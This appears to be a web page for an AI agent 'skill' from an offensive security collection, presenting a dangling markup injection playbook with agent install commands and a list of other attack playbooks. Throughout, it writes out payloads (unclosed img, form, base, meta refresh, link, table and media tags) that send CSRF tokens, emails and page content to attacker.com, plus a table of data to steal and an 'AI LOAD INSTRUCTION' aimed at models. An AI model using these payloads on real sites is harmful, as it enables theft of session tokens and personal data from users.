401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture
Claude Code
$ npx -y skills add yaklang/hack-skills --skill dangling-markup-injection --agent claude-code
Codex
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a codex -y
Cursor
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a cursor -y
Gemini CLI
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a gemini-cli -y
GitHub Copilot
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a github-copilot -y
OpenCode
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a opencode -y
Windsurf
$ npx skills add yaklang/hack-skills --skill dangling-markup-injection -a windsurf -y
name: dangling-markup-injection description: >- Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequent page content.
> **AI LOAD INSTRUCTION**: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
---
You need dangling markup when ALL of these are true:
1. You have an HTML injection point (reflected or stored) 2. JavaScript execution is blocked:
3. The page contains sensitive data AFTER your injection point:
**Core insight**: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.
---
Inject an unclosed HTML tag with a `src`, `href`, `action`, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.
Page before injection:
<div>Hello USER_INPUT</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="user@target.com">
</form>
Injected payload:
<img src="https://attacker.com/collect?
Resulting HTML:
<div>Hello <img src="https://attacker.com/collect?</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="user@target.com">
</form>
...rest of page until next matching quote (")...The browser interprets everything from `https://attacker.com/collect?` until the next `"` as the URL. The hidden CSRF token and email value become part of the URL query string sent to `attacker.com`.
---
<!-- Double-quote context --> <img src="https://attacker.com/collect? <!-- Single-quote context --> <img src='https://attacker.com/collect? <!-- Backtick context (IE only, legacy) --> <img src=`https://attacker.com/collect?
The browser sends a GET request to `attacker.com` with all consumed content as query parameters.
**Blocked by**: `img-src` CSP directive
<form action="https://attacker.com/collect"> <button>Click to continue</button> <!--
If the page has form elements after the injection point, the next `</form>` closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.
**Blocked by**: `form-action` CSP directive
**Trick**: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.
<base href="https://attacker.com/">
All subsequent relative URLs on the page resolve to attacker's server:
**Blocked by**: `base-uri` CSP directive
<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?
Redirects the entire page to attacker's server with consumed page content in the URL.
**Blocked by**: `navigate-to` CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.
<link rel="stylesheet" href="https://attacker.com/collect?
Browser requests the URL as a CSS resource, leaking consumed content.
**Blocked by**: `style-src` CSP directive
<table background="https://attacker.com/collect?
Works in older browsers that support the `background` attribute on table elements.
**Blocked by**: `img-src` CSP directive
<video poster="https://attacker.com/collect? <audio src="https://attacker.com/collect?
**Blocked by**: `media-src` / `img-src` CSP directives
---
| Target Data | How It Appears in Page | Steal Technique | |---|---|---| | CSRF token | `<input type="hidden" name="csrf" value="...">` | Dangling `<img src=` before the form | | Pre-filled email | `<input value="user@example.com">` | Dangling tag before the input | | API keys in page | `var apiKey = "sk-..."` in inline script | Dangling tag before the script block | | Session ID in hidden field | `<input name="session" value="...">` | Dangling tag before the form | | Auto-filled passwords | Browser auto-fills passwor
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…